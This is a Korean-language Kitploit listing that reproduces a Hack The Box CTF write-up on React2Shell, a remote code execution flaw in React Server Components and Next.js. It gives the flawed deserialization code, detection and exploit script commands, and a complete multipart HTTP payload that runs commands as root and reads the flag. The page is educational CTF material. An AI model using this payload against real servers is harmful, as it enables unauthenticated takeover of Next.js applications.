Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ReactOOPS-WriteUp — Hack The Box의 은퇴한 챌린지 ReactOOPS에 대한 Writeup - CVE-2025-55182/CVE-2025-66478 (React2Shell RCE)에 대한 완벽한 솔루션 및 교육 가이드. 상세한 취약점 분석, 익스플로잇 기술 및 팀 학습 자료 포함. | Kitploit
도구/GitHubGitHub/thestingr/reactoops-writeup
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
62410개월 전아직 검토되지 않음
GitHub
thestingr/reactoops-writeup

ReactOOPS-WriteUp

Hack The Box의 은퇴한 챌린지 ReactOOPS에 대한 Writeup - CVE-2025-55182/CVE-2025-66478 (React2Shell RCE)에 대한 완벽한 솔루션 및 교육 가이드. 상세한 취약점 분석, 익스플로잇 기술 및 팀 학습 자료 포함.

저장소 보기웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ReactOOPS - HTB 웹 챌린지 분석 보고서

CVE-2025-55182 CVE-2025-66478 CVSS 점수: 10.0 치명적 익스플로잇 상태: 개념 증명 가능 챌린지 상태: 해결됨 챌린지 유형: 웹 프레임워크: React/Next.js

작성자: TheStingR - Team ISP1337Hackers
챌린지: ReactOOPS (웹)
플랫폼: Hack The Box
난이도: 매우 쉬움 - 은퇴됨
해결 날짜: 2025년 12월 13일

목차

  1. 요약
  2. 챌린지 설명
  3. 취약점 분석
  4. 정찰 및 정보 수집
  5. 익스플로잇 과정
  6. 플래그 추출
  7. 기술 심층 분석
  8. 방어 및 완화
  9. 교훈

요약

ReactOOPS는 CVE-2025-55182 / CVE-2025-66478를 익스플로잇하는 웹 챌린지입니다. 이는 React 서버 컴포넌트와 Next.js App Router의 치명적인 인증되지 않은 원격 코드 실행 취약점입니다.

주요 발견 사항:

  • ✅ 서버: Next.js 16.0.6 + React 19 (취약)
  • ✅ 취약점: Flight 프로토콜 역직렬화에서 hasOwnProperty 검사 누락
  • ✅ 영향: 인증되지 않은 원격 코드 실행(root 권한)
  • ✅ 익스플로잇: 단일 HTTP POST 요청 필요

챌린지 설명

초기 평가

챌린지는 NexusAI의 어시스턴트 인터페이스를 실행하는 정교한 Next.js 애플리케이션을 제공합니다. 애플리케이션은 React 서버 컴포넌트를 통해 사용자 입력을 처리하는 것처럼 보이지만, 반응형 레이어의 미묘한 결함이 근본적인 취약점을 암시합니다.

기술 스택

  • 프레임워크: Next.js 16.0.6
  • React 버전: 19.x
  • 배포: Docker 컨테이너 (Next.js standalone 빌드)
  • 서버 포트: 50183

취약점 유발 요인

애플리케이션은 다음을 사용합니다:

  1. React 서버 컴포넌트 (RSC) - 클라이언트 통신을 통한 서버 측 렌더링
  2. Flight 프로토콜 - RSC 데이터 전송용 직렬화 형식
  3. 취약한 종속성 - 보안 패치가 적용되지 않은 react-server-dom-webpack

취약점 분석

CVE-2025-55182 / CVE-2025-66478 개요

Flight 프로토콜이란?

Flight 프로토콜은 React가 서버 컴포넌트 아키텍처에서 서버와 클라이언트 간 데이터를 전송하기 위해 사용하는 독점 직렬화 형식입니다. 다음과 같은 참조를 사용합니다:

  • $1 - 위치 1의 객체 참조
  • $1:path:to:value - 속성 경로 탐색

누락된 보안 검사

React의 ReactFlightReplyServer.js 취약 코드:

// ~450번 줄: getOutlinedModel 함수
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // "$1:path:to:value" 같은 참조 처리
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // 취약 루프 - hasOwnProperty 검사 없음!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← 프로토타입 체인 접근 허용
        }
        return obj;
    }
}

안전한 버전 (되어야 할 코드):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('잘못된 속성 접근');
    }
}

이것이 중요한 이유

hasOwnProperty 검사가 없으면 공격자는 다음을 탐색할 수 있습니다:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

익스플로잇 체인

1단계: "$1:__proto__:then" 참조 전송
         │
         ├─ myChunk[__proto__] 접근
         └─ 프로토타입의 [then] 접근

2단계: 가짜 Promise 유사 객체 생성
         │
         └─ { then: 악성 함수 }

3단계: React가 이 객체에 대해 await 호출
         │
         ├─ .then() 메서드 호출
         └─ 공격자 함수 실행

4단계: 임의 코드 실행
         │
         └─ 서버 컨텍스트에서 root 권한으로 코드 실행

인증 검사가 없는 이유?

취약점은 Next-Action 검증 이전에 존재합니다:

요청 처리 흐름:
├─ multipart 폼 데이터 파싱
├─ Flight 프로토콜 역직렬화  ← 여기서 RCE 발생
│  └─ 참조 및 객체 처리
│  └─ hasOwnProperty 검사 없음!
├─ Next-Action 헤더 추출
├─ 액션 ID 검증              ← 이 단계 이후에 옴
└─ 액션 핸들러 실행

역직렬화 중 RCE를 트리거함으로써 공격자는 모든 액션 수준 보안 검사를 우회합니다.


정찰 및 정보 수집

1단계: 초기 연결 테스트

# 서비스 응답 확인
curl -v http://<IP>:PORT/

예상 결과: RSC가 활성화된 Next.js 애플리케이션 HTML 제공

2단계: 기술 식별

다음 지표 확인:

  • next- 접두사를 포함한 응답 헤더
  • <script type="text/x-component">를 포함한 HTML
  • .next 디렉터리 아티팩트 존재
  • 명확한 인증이 없는 POST 엔드포인트

3단계: 취약점 탐지

가장 신뢰할 수 있는 지표는 프로토타입 오염 공격을 시도하고 응답을 관찰하는 것입니다:

# 비파괴적 탐지 페이로드
# 전송: ["$1:a:a"] {} 참조
# 취약 서버: {}.a.a 예외 발생 → HTTP 500 + E{"digest"
# 패치 서버: hasOwnProperty가 접근 차단 → 충돌 없음

익스플로잇 과정

환경 설정

# 챌린지 디렉터리로 이동
cd /Challenges/ReactOOPS

# react2shell 익스플로잇 프레임워크 클론
git clone https://github.com/freeqaz/react2shell.git

# 모든 스크립트 실행 권한 부여
chmod +x react2shell/*.sh

1단계: 탐지 (비파괴적 증명)

목표: 손상 없이 서버 취약 여부 확인

cd react2shell

# 탐지 프로브 실행
./detect.sh http://<IP>:PORT

작동 방식:

  1. Next-Action: x 헤더가 포함된 multipart POST 요청 생성
  2. 페이로드 전송: ["$1:a:a"] 빈 객체 {} 참조
  3. 취약 서버: JavaScript가 {}.a.a 접근 시도
  4. hasOwnProperty 검사 누락으로 충돌 발생
  5. 서버가 오류 다이제스트와 함께 HTTP 500 반환

예상 출력:

[*] React2Shell 탐지 프로브 (CVE-2025-55182 / CVE-2025-66478)
[*] 대상: http://<IP>:PORT

[*] HTTP 상태: 500
[!] 취약 - 서버가 E{"digest" 패턴과 함께 500 반환

[*] 응답 본문:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] 이 서버는 취약한 React RSC / Next.js 버전을 실행 중입니다.

해석:

  • HTTP 500: ✅ 충돌 감지
  • 응답에 E{"digest" 포함: ✅ React 오류 처리 형식
  • 결론: 서버가 취약함

2단계: 원격 코드 실행 (개념 증명)

목표: 임의 명령 실행 확인

# 원격 서버에서 'id' 명령 실행
./exploit-redirect.sh -q http://<IP>:PORT "id"

작동 방식:

  1. 명령 페이로드가 포함된 multipart 페이로드 구성
  2. 프로토타입 오염 참조에 명령 포함
  3. Next-Action: x 헤더와 함께 POST 요청 전송
  4. 서버가 처리 중 명령 역직렬화 및 실행
  5. HTTP 303 리디렉션을 통해 명령 출력 반환

예상 출력:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

핵심 통찰: 출력에서 uid=0(root)를 보여줍니다. 웹 서버가 root로 실행 중입니다! 이는 보안 구성 오류로 영향을 증폭시킵니다.

3단계: 정보 수집

목표: 파일 시스템 매핑 및 민감 파일 위치 확인

# 현재 작업 디렉터리 확인
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# 출력: /app/.next/standalone

# 애플리케이션 루트 디렉터리 목록
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"

발견된 디렉터리 구조:

/app/
├── .next/                    # Next.js 빌드 출력
├── node_modules/             # 종속성
├── app/                       # 애플리케이션 소스 코드
├── public/                    # 정적 자산
├── flag.txt                   # ✅ 목표 파일 (모드 600)
├── package.json
└── tsconfig.json

중요 발견: 플래그 파일이 /app/flag.txt에 제한적 권한(600)으로 존재

4단계: 플래그 추출

목표: 플래그 파일 읽기

# 플래그 읽기
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"

출력:

HTB{jus7_REDACTED_2025-55182}

✅ 챌린지 완료!


기술 심층 분석

페이로드 구조 분석

익스플로잇은 Flight 프로토콜 페이로드를 구성합니다. 명령 페이로드의 예시는 다음과 같습니다:

POST / HTTP/1.1
Host: <IP>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\"cmd\":\"id\"}",
  "_response": {
    "id": "1",
    "chunks": []
  }
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryXXXX--

역직렬화 과정

1. multipart 폼 데이터 파싱
   → name="1" → "then" 속성을 가진 JSON 객체
   → name="0" → 문자열 "$@1"

2. 참조 처리
   → "$@1"은 "청크 1 참조" 의미
   → chunk[1].value 조회

3. 참조 경로 해석
   → 참조: "$1:__proto__:then"
   → 콜론으로 분할: ["", "__proto__", "then"]
   → chunk[1]에서 시작
   → [__proto__] 접근 → 프로토타입으로 이동
   → [then] 접근 → then 메서드 접근

4. 가짜 Promise 구성
   → .then() 메서드를 가진 객체 생성
   → 메서드에 명령 페이로드 포함

5. Promise .then() 실행
   → React가 Promise 유사 객체로 처리
   → .then() 핸들러 호출
   → ROOT 권한으로 코드 실행

각 익스플로잇 스크립트 차이점

도구 다운로드